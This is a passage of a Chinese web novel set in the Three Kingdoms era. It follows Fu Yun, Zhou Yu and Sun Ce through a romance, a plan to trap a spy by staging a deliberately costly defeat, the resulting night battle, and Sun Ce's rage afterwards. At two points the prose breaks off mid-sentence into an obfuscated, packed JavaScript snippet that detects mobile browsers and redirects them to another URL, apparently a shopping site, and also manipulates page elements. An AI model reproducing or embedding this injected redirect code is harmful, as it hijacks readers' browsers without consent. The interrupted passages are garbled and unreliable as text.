他挑眉一笑,揶揄伏韫:“你看,我们两个加起来还不如公瑾一个人厉害,是不是该好生检讨?” 伏韫一愣,旋即佯怒瞪他:“说我拖后腿?你自己不也只射了一只野兔!” “我可没说什么拖后腿,谁心虚谁自己明白!” 话音未落,孙策转身就跑。伏韫直接抄起一支箭,上去便打。 不远处,周瑜的弓声从未停歇。 最后一箭破风而去,钉入山壁,像是一记冷硬的回应,将笑声尽数隔开。 *** 夜色深沉,水寨中欢声笑语一片。 周瑜独自坐在水岸,不发一语。他神色极静,仿佛天地只余风声与虫鸣。 忽然,一束微弱的光自远处摇晃而来。 伏韫提着一盏纱灯,步子极轻,走到他身边停下,将一只小漆盒放在两人之间。 “喏,我妹妹从长安寄来的糕点,莲子馅的,特别好吃。” 周瑜的眼睛仍停在水面上,甚至没正眼看她,淡淡吐出一句:“我不饿。” 伏韫仿佛没听见,拆开漆盒,掰下一小块含在口中,故意将脸偏向他,嚼得极慢,眼角微微弯起: “嗯……真的很好吃,你真的不尝一口?” 周瑜终于侧过头来,目光落在她唇角,停了极短的一刻,欲言又止。心中纠结一瞬如三秋,终于抬手,指腹轻轻拂过她的唇边,带下一点细屑。 伏韫微怔。只感到月光下,他眉间似乎染了几分无言的怅然若失,忍不住凑得更近一些: “你气了这些日子,也该消了吧?” 周瑜不答,目光依然停在那里,长睫遮住眼底的光,一动不动。 伏韫见他木然不应,好不容易生出的几分耐心又消散殆尽,正要起身,却一把被周瑜拉住,整个人被这猝不及防的一扯,几乎要跌坐在他身上。 她居高临下,他仰头直视,气氛流转,微妙如河上光影。 良久,他才低低一叹,藏着一抹极深的酸涩: “你可知那日在校场,你忽然冲上去,我心中有多害怕?若是我收不住剑,若是差了毫厘……你竟愿意用自己的命,替他接那一剑吗?” 伏韫一时心虚,正打算说些什么,周瑜却截断她的话,仿佛憋了数日,一股脑倾泻而出: “但我看你们今日嬉闹,心中也明白了。你与兄长在一起时,是发自内心地笑,与我……则从未有那般快乐过。我想你与他在一起,至少是真心喜悦,君子成人之美,自然该退避三舍,以免破坏了气氛。” 他看着她,语气几乎如喟叹: “你去吧,那里挺热闹的,无谓与我在这儿冷冷清清,说不了两句又要吵起来。” 他说罢,便赌气似地偏过头,不去看她。 纱灯在水中轻晃,照得他睫羽极长,一束昏黄,将他侧颜细细勾勒,更显落寞。 伏韫眨了眨眼睛,望了他背影半晌,忽然偏偏凑上前要去看他躲闪的眼神,脚底却险些一滑。 “诶——” 她惊叫方出口,周瑜已抬手将她接入怀中。她身形如一羽轻鸿飘入他掌心,等身子稳住,才发现她情急之下竟环住他的脖颈,一只脚晃荡半空,险些插入水中。 风中裹着水汽,这一瞬旖旎,被月色拉得很长。 她抬眼,看着他低眸看向自己的目光中,竟少见地浮起一丝羞意,眼底狡黠更甚,连尾音也微微扬起: “公瑾,你该不会……是在吃醋吧?” 23. 第二十三章 话音方落,伏韫感到周瑜环扣在她肩上的手一顿。 他面上神情虽波澜不惊,但伏韫已经借着月光,看到他耳尖骤然窜起的一抹微红。此情此景,足以让她眼中促狭笑意更深。 他飞快地咳了一声,像是注意到自己耳根发烫,声东击西,眼神却不住游移: “君子坦荡,何来‘吃醋’这等无稽之谈。不过是因险些失去知音,心有余悸,又因见你们相处融洽,替你开心罢了。” 伏韫见他声音中难得有这般不知所措的慌乱,促狭之心更盛,故意曲解: “哦——‘君子坦荡荡,小人常戚戚’,周郎既是君子,那方才独自在这里生闷气吃闷醋的,一定就是小人咯?” 周瑜被这调侃堵得一噎,面上那层强装的镇定几乎支离。他余光能瞥见怀中人一双烁烁双眼直勾勾地盯着他,像是铁了心要看他今日在此破功,明亮的眼睛扑闪如星光熠熠,叫他心乱如麻,连语气都带上几分气急败坏: “伏昭晦,休得胡言!” 这是他第一次连名带姓地唤她。 伏韫见周瑜似乎真有些羞恼,终于满意地轻哼一声,随即目光流转,落在他揽着自己的肩上的手上,轻轻挣扎了一下。 周瑜方才如梦初醒,急忙放开,身子微不可察地挪开,若无其事般与她拉开距离。但那握着她的肩的手仿佛还在发烫,他只能将手掌完全覆在青石上,试图用这天寒地冻的冰冷,将掌中几乎炽热的温度扑灭。 伏韫见他这“君子慎独”的模样,忍俊不禁,一面觑他的神情,从怀中取出一轴竹卷,轻轻铺在两人之间的石板上。 “给你看个好东西,这个……我只对你说。” 周瑜只低头轻扫一眼,看到上面“东门”“苍狼道”的字样,心中一凛,知她这竹简上写了何等机密要事,旋即覆手盖上卷上已然翻开的字样。 “此处,不是说话的地方。”他眼角余光微微扫视四围,确定此处唯有他们二人后,方低低说了一句,“我知水寨有一间密室,僻静机密,我们去那里详述。” 还不待伏韫回话,他便一把将她拉起,朝不远处的码头而去。 伏韫慌忙俯身拾起纱灯,还不忘将糕点收入怀中。但他步伐极快,她在他身后任由他拉着,步伐踉跄,几乎要跟不上。 “喂,你不生气了吧?”她在他身后问。 周瑜不应。但那有一瞬耸动起伏的肩头,仍是暴露了他的心绪。 顿了顿,他方才开口,低沉的声音中,似乎掩着一抹极力压下的愉悦: “嗯。……不生气了。” *** 夜色深沉,一叶轻舟沿河道向西,在天地寂静中缓缓漂行。 周瑜撑船,伏韫坐于船尾,口中咀嚼糕点不停,见他辛苦,便捻起一枚,递他嘴边: “尝一个试试?” 他微微侧首,抬眸望定她。 星河粼粼江面之上,她眸中波光辉映,显得愈发剔透,如一枚纯无杂质的水晶,举着那小块糕,指尖几乎触到他唇畔。 他低低一笑,缓缓俯身。 温热的呼吸顺势沿她的指尖流过,下一瞬,她感到他的唇齿,轻如鸿羽,掠过她的指腹,只是一点细微的温热,甚至并未接触,却令她如被火灼,指尖一颤。 他若无其事,直视着她,神色如常:“嗯,很甜。”却意味深长地,眼角一抹余光,如轻轻抚过她,又转回身去。 伏韫方定下来的心,忽又突突直跳起来,吓得她慌忙捂住自己的胸口,生怕天地间有第二人听闻她擂鼓般的心动。 舟身微晃,夜下波光碎影如金,江水泛涟,她凝着他的背影,恍惚得有些晕眩。她为何从不知他是这样的人?抑或是,他一直是这样的人,只是她从不曾发觉而已? 她煞有介事地抽了抽鼻子,混似不在意地扯开话题: “那个……我觉得,谈正事之前,我们需要先立个规矩。” 他用背影回答:“什么规矩?” 她怕自己的声音因剧烈的心跳而暴露了心迹,咽津抚膺,方才缓缓道: “当然是平日沟通的规矩!免得某位君子又闹别扭,耽误正事。” 周瑜闻言未恼,笑意更深些,转身好整以暇地看着她: “那依军师之见,该当如何?莫非……要约法三章?” “正是!”她坐直了身子,摆出谈判的架势,“要我说,第一条就是‘不许冷战’。你也不看看,就这几天你闷着,兄长的脸色都臭成腌菜了。我们身为谋臣,公然闹别扭,岂不是给兄长脸色看?” 周瑜撑蒿的手未停:“军师此言差矣。这次冷战,莫非独我一人闷着?我好像依稀记得自己也搭讪了某人多次呢?” 伏韫被戳到痛脚,微微有些羞恼:“那不知可否请君子多多海涵淑女一番呢?” 周瑜缓缓转身,不疾不徐扔给伏韫一句:“我怎么觉得,每次都是我去找你,但皆被你挡回来了呢?” 一言既出,如巨石投湖,他虽未回头,已经听到身后伏韫怒意四窜,借着声音,几乎张牙舞爪: “胡说!今天不是我来找你的吗!那你把刚刚吃完的莲子糕给我吐出来!” 他终是忍不住,低笑出声,在寂静的江面上漾开,带着几分无奈却纵容的意味,整个人的氛围都柔和了下来。 “好吧,军师大人,就算每次都是我犯规吧。那这第二条又是什么呢?” 伏韫见他服软,一脸“算你识相”地轻哼一声: “第二条嘛,自然是称谓。你我私下虽熟稔,但对外却需谨慎些,公事公办,免得落人口实。今后对外,你依旧称我‘昭晦姑娘’,我也依旧称你‘周公子’,如何?” 周瑜撑蒿的手微微一顿,小船轻晃。伏韫看不见他的表情,只能看到他被月光勾勒出的挺直背影,似乎比刚才沉静了些许。 缄默片刻,他才开口: “虽无不可,只是觉得听起来未免疏远,旁人听来,恐怕以为我们之间有什么嫌隙隔阂……” 伏韫见他这略显寂寥的背影,不以为意道:“我们可早就用上这表里不一的称呼了。哎呀,不知道是谁先开始接受的?” 周瑜缓缓侧过半个身子,眼底似有流光闪烁:“我当初接受,不过是看你似乎玩得颇为起劲,不忍拂了你的兴致罢了。” 伏韫被他这倒打一耙噎了一下,指着他,好气又好笑:“周公瑾!你敢说你自己没有一点点乐在其中?!” 周瑜见她气鼓鼓的样子,不禁轻笑出声,身子微俯,离她更近一些。 “好吧,我承认。”他压低声音,几乎只有两个人能听见,仿佛与她共享一个秘密,语气中不由自主带上一抹狡黠,“确实是有一种瞒天过海,把全世界都玩弄于股掌之间的感觉……” 他低沉的 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温度相交,温热自掌心传来。他引她上岸后,没有立刻将手松开,只是微微侧首,低声道:“小心地上,此处青苔丛生,有些湿滑。” 二人循着小径而行,穿过暗门,又沿着一条仅容一人通过的狭窄石阶向下。伏韫提灯照壁,水珠凝结,偶有苔藓滑腻。两人一前一后,足音与呼吸交织于狭廊之中。 终于一道厚重的木门映入眼帘。周瑜推开门,一股陈旧潮湿的气息扑面而来。 密室不大,四壁空空,角落点着一盏风灯,将一室沉寂照亮。 周瑜铺开一张早已备于室中的舆图,伏韫亦将怀中竹简置于案上。 不待伏韫开口,周瑜已将自己近日所思所感,悉数倾倒而出: “我这几日复盘多次,纵使苍狼道情报是假,也绝无可能惨败至此。根据兄长对那日作战的回忆,还有哗变前几乎完全针对你个人的指控,以及那匹惊马突然发疯……我断定,军中必有内鬼。” 伏韫颔首:“公瑾推断,与我并无二致。但我听说哗变之后,你不过三日便擒得一个内鬼,一时威望无二,才惹得兄长想赶紧立威。” 周瑜望向她,目光锐利隐现:“但如果你是庐江仙师,会只在军中藏一个内鬼吗?” 伏韫面上缓缓浮起一抹玩味的笑:“你是说,更大的鱼,还在深海之中?” “正是。东门奇袭失败,加之马匹受惊,并非只有你我,全军上下都怀疑有人走漏风声。此时抓住一个,军中自然放松警惕,以为后患已除,却不知这只是障眼之法。真正的内鬼应当还蛰伏于军中,等到时机合适,又会出来搅弄风云。” 伏韫笑意更甚,抬手唤他至案前,引他细阅竹简: “既然如此,接下来,我们便要引蛇出洞。” 周瑜细细读来,伏韫在旁娓娓而陈: “计划甲,明日公开军议时,我会提出佯攻敌军粮道,让三位老将与其亲兵、侍从悉数得知。计划乙,军议后,我会在兄长帐中呈上一份修正之案,除了兄长与你我二人,还有左右侍从会听到,但所知者不过十人。至于计划丙,只由你单线操控,目标与时间,悉听尊便。” 周瑜望着她,眉梢微微一挑:“你连我的亲兵也怀疑进去了?” 伏韫坦然迎上他的目光,唇角微勾:“兹事体大,不得不防。” “好。”他低声应下,“我这里,随时可以开始行动。” 24. 第二十四章 春雨淅沥,水寨暗室湿冷。伏韫与周瑜隔案而坐,案上是斥候来报的记录。 周瑜将记录放下,看向伏韫: “如你所料,斥候来报,敌军已经按照计划乙的提案,在山谷口大举布防。所以内鬼,就在我们三个人身边。” 他的眉目隐在半明半暗之间,顿了片刻,才吐出那个疑问: “下一步,我们是否‘抓鬼’?” 伏韫垂下眼帘,静静思索。二人的身影被投影在墙上舆图上,如共弈的棋手。 半晌,她缓缓抬眸,眼中浮起一丝布局已成的豁然: “不。我们不抓。不仅不抓,还要保证他的安全,让他继续传递情报。” 短短一句,仿佛已将整副棋盘掀翻。 周瑜的眼神微敛,在摇曳的烛影中静静看她: “你的意思是……利用内鬼,将我们想传递的情报,喂给敌军?” 伏韫方颔首称是,周瑜已微微皱眉,疑虑渐深: “可你有没有想过,不仅是我们怀疑内鬼,你的同门一定也会怀疑内鬼是否还有能力继续传递情报。若我们将假情报喂给内鬼,你的同门是否会怀疑,这是我们有意而为之的假情报?” 伏韫抬眼,微笑缓缓浮现: “当然。只要内鬼传回任何‘对我们有利’的消息,他都会抱着十二分的警惕。所以,要让他重新深信不疑……就必须让内鬼传出去的情报,全部都是真的。我们要让他,亲眼看到一场可控但真实的失败。” 这句话在空中悬了许久,伏韫才缓缓吐出最后的字句: “而要让这场失败,骗过所有人,甚至骗过我那位师兄……我们必须,连兄长一起骗。” 暗室里,一切声音似乎都被剥离,只余呼吸交错。 周瑜沉默许久,沉默到伏韫几乎以为自己失聪,他才缓缓抬眸,望着她: “‘真实的失败’?昭晦,你知道这意味着什么吗?自古佯败易成真败,更何况真实的失败,就意味着真实的伤亡,意味着军心有再次动荡的风险。更何况所谓‘饲鬼’,焉能不是‘引狼入室’?你那位同门,会否早已算到此计?而且,兄长已经败了一次,不能再败了。一个屡战屡败的主帅,真的,还值得将士的信任吗?” 伏韫静静听完周瑜的话。火光在她眼底折射,如刀锋背上的寒意,凛冽一闪,轻轻一笑,锐利愈显: “公瑾所言句句在理。但,请听我一言。” 她缓缓走近周瑜,目光直视他,不偏不倚: “若我们继续强攻,而内鬼不除,死去的将士,难道不是‘真实的伤亡’?难道坐守穷城,被他们的坚壁清野耗死,就不是‘真实的失败’?既然横竖都要败,不如就以此为诱饵,让我那位同门以为高估了我。东门大败,他此刻必定等着我小心试探,那我偏要蠢一次,败一次,借他胜兵必骄的机会,让他深信不疑!只有他放下戒心,我们才有胜的可能。” 话音落地时,她立在他面前,仰首视之,几乎贴面之近,目光灼灼: “我们并非‘引狼入室’,而是狼早已在室中,敌暗我明,既然每一步都被掣肘,不如借他的眼睛,去引导我们想让他看到的真相。至于兄长……” 提到孙策,她的声音虽沉了半分,但依旧坚定: “比起惜败,毫无意义的损耗,更容易让他意志消沉。若一场虚假的失败就能换来一场真正的大胜,公瑾,你告诉我,为今之计,还有比‘饲鬼’更好的破局之选吗?” 烛火微焰之下,她的眸子亮得惊人,燃着孤注一掷的决绝。他看着她的眼睛,几乎要被她眸中情绪融化。他知道,她要的不是质疑,是同谋。即使前方坎坷,她也希望能与他携手共度,而非望洋兴叹。 良久,周瑜终于轻轻长吁一口气,眸光变得柔和,轻轻颔首,语气沉定: “好,我相信你,也相信兄长。” 舆图在案上展开,火光映着皖城布防。伏韫回身走至舆图前,目光游移其上: “先定目标。” 她的目光最终停在一处偏僻山谷——敌军后方补给哨站。 “此处地势险要,易攻难守。若在此处‘惜败’,既能让内鬼传出‘我军冒进失利’的情报,又不至于伤筋动骨,动摇根本。公瑾,你意下如何?” “很好。”周瑜终于开口。声音温润中,已带上了同谋者的锋利,“哨站补给,七日一换防。午时最虚,子时最密。所以,兄长手中的情报可以旧一些,可以让他以为敌军依旧是午时换防。” 伏韫沉思,语气深沉之中如带蛊惑: “只怕这些还不够。有东门之败的前车之鉴,他应当会更加审慎。” 周瑜唇角勾起一抹淡淡的弧度,仿佛已然全盘接受如此狂悖的计划,犹有雀跃: “所以,要给他一些‘运气’。我们安插一队斥候在途中,待兄长出兵,再飞马回报,说‘敌军换防因故延误’,他必定以为天赐良机,不可错失。而前锋一乱,敌军伏兵必从山侧杀出。在兄长眼中,这就是一场因急功近利、错判军情而致的惜败。” 推演至此,伏韫眉目低垂,心中一个令她足以恻隐到缄默的计划已然呼之欲出: “既然是惜败,就要让敌军也付出一定的代价。我们需要一支队伍,一支甘愿死战的精锐,在山口血战,誓死不屈,战况惨烈……才足以骗过我那位同门。” 暗室的空气,仿佛在这一刻被蓦然抽干。 周瑜的呼吸有片刻的停滞。他因这冷血的算计沉默许久,久到灯芯似乎都燃尽,压暗他的眉眼,令他如沉阴翳之中。 终于,他吐出一口气,仿佛用尽浑身的力气: “这只精锐,我来选。” 他手指一颤,长臂从舆图上缓缓垂下,撑在桌案,仿佛力竭不逮: “兄长……会很愤怒。” 伏韫抬眸,亦深深吐息,但火光下,她的神情坚定到近乎冷酷: “所以,才更需要你我。” 火盆里,最后一颗炭火骤然炸开,火星迸裂,又迅速熄灭在潮湿的空气里,仿佛一场无声的献祭,已然礼成。 *** 次日卯时,中军大帐中沉香缭绕。 春雨连绵,令久未大捷的帐中,也蒙上一层烟雨朦胧的阴郁。孙策端坐主位,望向对面的舆图,神色凝重。 伏韫缓步上前,抬手一拱: “兄长,我探得敌军一处补给哨站,地形险要,但防守兵力不过百人。若能夜袭,焚其粮道,则敌军后方必乱。” 东门之败的阴霾积压太久,孙策心中久未舒展,乍听得这一消息,眼睛倏地一亮,但因东门之败,他尚有余悸,一言不发,转向周瑜。 身侧周瑜轻摇羽扇,一开口便仿佛泼了一盆冷水: “且慢。军师既说此处地势险要,易攻难守,却仅有百人守卫,何以断定这不是敌军诱我深入的陷阱?” 帐中氛围顿时一紧。东门惨败,至今仍叫众人心有余悸。 伏韫收了笑,带着不容反驳的锐气: “我并非纸上谈兵。此处巡防我已派人三度细查,连夜行暗道我也亲自勘探。若是没有全然把握,我怎敢在此提案?” 周瑜冷声刺道:“东门之败才过去多久,你又要让兄长的精锐来赌你的推演?伏昭晦,你以为人命就这么轻如草芥?” “赌?”伏韫整张脸都沉了下来,声音隐有怒意,“取其粮道,纵然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167994|194539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 失手,也足以扰乱敌军后方。周公子若是妙计高悬,倒想请教,如今可有让我等不坐困愁城之法?” “够了!” 孙策一拍案几,剑眉微蹙,以一声重击中止了这场一触即发的争执。他看了看伏韫,又看了看周瑜,最终目光落回舆图之上。他来回踱步,心中双方意见交战激烈,步频中燥意愈重,良久才猛地站定。 “公瑾顾虑言之有理,但军师决断亦甚合我意。只是不知,具体实施起来,究竟需要多少兵马?” 周瑜见孙策似乎主意已定,只好退了一步,妥协道:“若兄长已有注意,当速战速决。我意,调拨骑军一千,不可恋战。” 伏韫立刻接上,恰到好处:“一千可。兵贵神速,后援我这两日便可调度完毕。” 周瑜最后看向伏韫,仿佛困兽犹斗:“此战有险,若要罢手,现在还来得及?” 伏韫如闻滑稽,似是嗤笑一声:“周公子这是怕了?兵行险着,方能出奇制胜。” 两人看似针锋相对,你来我往之间,却已将昨夜敲定的台词悉数抛出。 孙策目光在二人面上逡巡轻扫,片刻静默,他忽然大笑,战意炽热: “好!既是险中取胜,此战我愿亲自领兵,即使有诈,我也要看看,究竟是什么‘诱敌深入’之法!” 正此时,帐外传来脚步声,一个轻柔的女声响起。 “将军,母亲让我给您送些安神香来。夜战将至,或可助您好眠。” 是被孙策救下的香囊姑娘。 空气似乎凝滞一瞬。周瑜下意识将目光投向伏韫,既是担心她心绪有所波澜,又隐隐有几分期待,想从她的反应中,看出她在情感上的再次站队。 伏韫却置若罔闻,只低眉将舆图缓缓卷起,置于架上。 周瑜微不可察地松了口气,放松下来,羽扇亦轻轻扣于膝头。 无人注意的角落里,一个如影子般伫立的内侍,眸底光影一闪,暗潮悄然涌动。 军议散后,他端着托盘无声退出,穿过大帐数顶,与提花篮的香囊姑娘擦肩而过。 指尖一动,一张薄如蝉翼的帛条,已经悄然滑入花篮深处。 *** 深夜,营门前。 火把如林,焰影烈烈,一千精锐骑军已集结完毕,压抑的杀气在夜风中弥漫。 孙策一身黑金战甲,立于阵前,环视众将,长戟直指夜空: “弟兄们,东门之战,我们惨败。此等血债,须以血偿!” 火光在将士年轻的眉眼间跳跃,铁甲上的寒光,在火把映照下明明灭灭,所有人的目光,都牵系于这战意昂扬的主帅一身。 “今夜,我们去取他们首级,烧他们的粮道,为我们死去的弟兄们报仇!” “报仇!!!” “报仇!!!——” 千人怒吼,如雷霆骤然撕碎夜幕,这澎湃的杀意,顿时蒸腾到了无以复加的顶点。 孙策勒马回身,向高台望去,遥遥一眼,炽热、坚定、充满了毫无保留的信任。 伏韫与周瑜正并肩立于其上,目送大军远去。 孙策回身,旋即,长戟一挥:“出发!” 铁蹄轰然如雷动,一千骑军,如一道黑色的洪流奔袭而出,直至火光被夜色完全吞没。 大营重归寂静,唯有旌旗在风中猎猎作响。 风很大,但伏韫只任由它吹着,没有伸手去拢,直到发丝缠绕,几乎遮住她远眺大军远去的视线。 周瑜缓缓举起手中酒盏,饮了一口。冰凉的酒滑过喉咙,令心中那份亲手布局的罪恶感愈发沉重。 他们相对无言。 夜风呜咽,仿佛在替他们低声哀悼。 25. 第二十五章 春雨连绵多日,香囊姑娘提着花篮回到水寨。沿途凹凸不平之处雨水与尘土蓄积混杂,泥点溅在她的衣裙上,她却不以为意,反而轻轻哼起小曲。无他,只因今日她去到帐中,数日不见她的孙策不仅出帐,还收下了她亲手缝制的香囊。 她对孙策并非无意。 那日孙策在兵痞中将她救下,出手迅疾,令她几乎看呆了。但母亲还等着救命,她无暇去想这些无关紧要的事,此后对他,亦只是对待恩人的礼节。 但那日出征时,她在山上遥遥一望,他屹立军前,少年意气风发,如大军所向最前那万夫莫开之兵锋。夜风扑面,漫山遍野的花香,随潮湿温暖的空气灌入鼻中,她几乎听到自己心折的声音。听闻他铩羽而归,军中又生哗变,她便想着,一定要为他尽心尽力,哪怕绵薄,但能对他好,自己也心安了。 她回到那个简陋的竹屋,先是给母亲煲了汤药,照顾她饮下,忙得脚不沾地,才终于坐下。她整理花篮时,却在丛芳之间,摸到一方质地柔软得特殊的帛条。她微愣,取出一看,只发现上面写着一行字: “孙将军或在战后旧疾复发,慎靠近。” 她并不完全识字,但看着字形,依稀辨认清了其中的意思。但读懂的瞬间,她的呼吸一顿,眉头蹙起。 旧疾?是说那日军队险些哗变时,他忽然发作的异样? 她浣衣时,听说那日孙策狂性大发,双目赤红,一时克制不住,竟当着哗变士兵的面,将帐前一块约有半人高的横木徒手拆得木屑迸飞。她听得心突突直跳,难以想象,平日谈笑晏语的少主,竟也有这般不为人知的一面。 但,她转念一想,军师虽聪慧,却只会一时压制;周公子心思细致,却究竟是男子,总有失察之时。若是战后他当真狂症发作,自己能以解语之姿现身,倒是自己的机会…… 她几乎没有花时间去想,这张帛条究竟是谁放进自己的花篮,也没有去想究竟是谁要大张旗鼓到用帛条给她传信,只想着又多了一个见到他的机会,满心欢喜地,准备晚上大军班师之后的会面。 *** 夜色如墨,旌旗猎猎于风中。 孙策一袭战甲,横戟于鞍,领浩浩荡荡之军于前,浑身燃着志在必得的凌厉锋芒。 早春的风中依然有冬日的寒意,但已不似当时东门之战般冷风刮面。孙策心头蓦然兜上方才出征时立于高台之上的伏韫,鬓边碎发轻扬,眉眼沉凝。出发前,她仿佛有什么想说,却欲言又止,最终只有一句“兄长小心”。 但只是一句,便已令他心头酥了半边。 前方哨站,敌军防御松懈,几乎未及反应,便被铁骑碾碎。他并未细思,只以为是情报得当,此处果然在子时换防,机不可失,当即命令兵分三路: “右锋借山林地形从河道抄后!左翼佯攻!” 兵形如水,流转无声。不到半个时辰,哨站的守军几乎已被全歼。副将在一旁惊叹:“军师果然神机妙算,今夜必能大捷!” 孙策扬眉,几乎要脱口而出“我家军师自然聪慧举世无双”,张口却是简洁的发号施令。但尽管压下,但得意已从眉梢眼角溢出。 大军势如破竹,已经逼近碎石山谷。 但就在此刻,一声短促的嘶鸣—— 下一瞬,山谷骤然亮如白昼,百点火光齐齐燃起,猝然之间,万箭齐发! 前锋骑军避闪不及,进退维谷之间,顷刻便成了活靶,数十人只一瞬便倒下,惨叫不绝于耳! “卧倒!” 箭雨如倾盆而下,敲叩树枝,钉穿盔甲,一时之间血光冲天,明灭之间,已是血泊如注! “怎么回事!斥候不是说敌军的换防延误了吗?!”副将被孙策掩入林中,声音颤抖。 “情报有误,恐怕是他们放出来的假消息。” 孙策抬眼望去,这伏兵列阵,这夹逼之势,与东门之战几乎如出一辙! 愤怒与羞辱的火焰,几乎瞬间便从他的胸间熊熊腾起,他低低一笑,含糊如饮血,眸中怒火喷薄而出: “好,很好,又是这一招!” 他霍然站起,如猛虎咆哮,声震山岳: “兄弟们!他们以为同样的陷阱,我们还会再输一次!东门之败,雪耻之日就在此时!死去的兄弟们都在看着我们,今日,就算这里是陷阱,我们也要杀出去,以慰那些兄弟们的在天之灵!” 残存骑兵,被主帅这几乎疯狂的意志点燃,霎时间众人恐惧之心如化烈焰之中,余烬化为如钢铁之军心,战意四起! “报仇!” “杀出去!” 孙策怒喝一声,长戟已破风而出。一名敌将喉骨碎裂,血光飞溅如花。他已杀红了眼,浑身只有纯粹的杀意,势不可挡。 “全军随我冲锋!” 火光与赤血交织,夜风吹过山谷,如遍坟场,敌军弓弩连发,但他借灌木掩映,急行其间,身如鬼魅,转瞬之间,已逼近敌军阵地,生生撕开一条血路。 敌军众将惊骇不已,孙策已如神兵天降,霎时山谷尸体横陈,惨叫遍野,火光翻滚如地狱张口。侧翼那只由周瑜亲自挑选的精锐队伍,以血肉筑成屏障,死死扼守山口,掩护孙策撤退。 “少主快走!我等殿后!” 孙策眼睁睁看着那只队伍如被洪流吞噬,只有血柱喷洒似雨。他心头痛如刀绞,万箭穿心,但只能猛虎断尾,拨马回营。 “撤——!” 在付出奖将近半数精锐的代价下,剩余铁骑终于杀出重围。 山谷如巨兽,将无数士兵残骸生吞,细细咀嚼,夜风之中,还裹着血腥的潮热。 副将哑声哽咽:“少主,此番虽未焚毁敌人粮道,但能从此突围……已是奇迹。” 又有斥候驰回,抱拳禀报:“主帅,敌军并未再追,似乎损失惨重。” 孙策沉默良久,抬手一挥:“阵型不乱,回营!” 盔甲铿锵与战马粗喘交织,归途中,幸存士兵浑身血污,步履沉重,却皆缄默无言。他们的目光,不约而同落在那阵列最前的背影。 他们随这只猛虎,从地狱里杀了出来。 *** 大营旌旗在南风中低垂,火光明灭不定。伏韫与周瑜并肩立于高台之上,远处那片黑墨的山谷,隐隐已有血光。 他们没有说话。 伏韫下意识握紧披风,浑身微不可察地发颤一瞬。 在她的剧本中,一切应当尽在掌握之中,现在,应该已经逼近第三道哨站,接下来,伏兵应该要从山谷杀出。周瑜亲自挑选的精锐会为孙策殿后,最后……全军覆没。 可胸口的悸动一次比一次急促,像要冲破理智的堤坝,令她耳畔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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尽管是惨胜,胜得狼狈,胜得残酷,但,他已经用自己的方式,以百战不屈的铁血,为东门死去的将士报了仇。 伏韫快步奔下高台。 直到她看清孙策。 她已经不记得自己是怎么迈开第一步,只记得瞬间心口剧痛如潮水汹涌拍岸,令她几乎神识不清。她猛地穿过人群,裙裾在泥泞中,在马蹄下,几乎被撕出一道长长的裂口,但她甚至未曾察觉,几乎是飞扑进了孙策怀中。 孙策被撞得一个趔趄,下意识抬手扶住她。 她眼眶一热,已经低低失声呜咽。 孙策低头看她,眼中有一瞬错愕,随后抬起手,但看到血污交织出的掌纹,还是缓缓放下了。 “公瑾,昭晦,我回来了。” 周瑜立在不远处。 他目送孙策浴血归来的身影,目送伏韫失控的怀抱,最终目光停留在队尾—— 那百余名亲自选出的骑兵,果然,无人生还。 胸口涌上一股冷意,他缓缓闭眼,但下一瞬,那一抹清冷的银辉映于他的眼角时,还是依旧折出了一点微不可察的湿润。 一滴泪,无声坠落,是他的烙印,也是他的忏悔。 26. 第二十六章 夜深风紧,大帐中空气黏着,似有血腥气四漫。 中军大帐内,断断续续的低吼、时高时低的嘶喊,甚至夹杂着几案倾颓的巨响。守在帐外的士兵面面相觑,无一人敢入内。 刚回到帐中时,孙策方与平日无异,但伤员的血气萦绕,后勤兵拾回的死者的物件,无一不在刺激他心中的伤口。当他看到那位为他殿后的将领的遗物时,胸中狂气便再也无法抑制,如江河奔涌,冲垮他所有理智的筑墙。 周瑜是第一个发现状况不对的人。在所有人都尚未反应过来时,他已注意到孙策微耸的肩头,伴着粗重的呼吸,如猛虎嗜血之性发作前闷响的吐息。他眼疾手快,将孙策关进帐中,并吩咐厨房按此前的药方熬制安神汤。 但,这次的病症来得过于汹涌,几乎没有给周瑜任何反应的时间。等到厨房手忙脚乱熬好汤药,孙策早已双目猩红,连周瑜都已不认,遑论饮汤。 帐外,孙策心腹吕范声音焦急: “公子,少主这次的病症比往常都要严重……这该如何是好?” 周瑜蹙眉不展,太阳穴突突直跳,他来回踱步,揉了揉眉心,为难不已: “他刚从死人堆里杀出来,又看到了战友的遗物,一时煞气未消,先由他发泄一阵吧。” “不可!” 一个清脆的女声打断二人的对话。 伏韫疾步而来,行色匆匆。她来到中军大帐前,直视着焦急得束手无策的二人: “他如今狂症正兴头上,若不及时干涉,他恐怕能闹到后半夜还不消停。况且大战方毕,主帅就发了狂,传出去军心还要不要了?” 伏韫话音未落,帐内又是一阵轰响震耳,几乎一股巨浪向二人袭来,隔帐犹能感到他身体中那个野兽正借势咆哮,即将掀顶而出。 周瑜愁眉不展,叹息道: “但……如今兄长连我亦不认得,刚刚送进去的汤药险些被他劈手掀翻。若是不将他神志稳下来,叫他平复,根本难如登天。” 伏韫望向帐中,灯火剪影映得他如同猛兽囚于笼中,来回踱步,亢奋不已,仿佛正酝酿更大的破坏。她收回目光,望向周瑜: “我可一试。” 此言一出,二人皆目瞪口呆,周瑜更是疾言厉色打断: “昭晦,此事非同小可。上次帐前你用香气压制实属侥幸,这次兄长狂症已然发作,寻常气味不可能奏效,我不可能让你涉险。” 伏韫垂眸,从怀中掏出辟戾香囊,递予周瑜: “直接将其熬成汤药,待兄长神志恢复后令他饮下。至于安抚他……你放心,我自有分寸。” 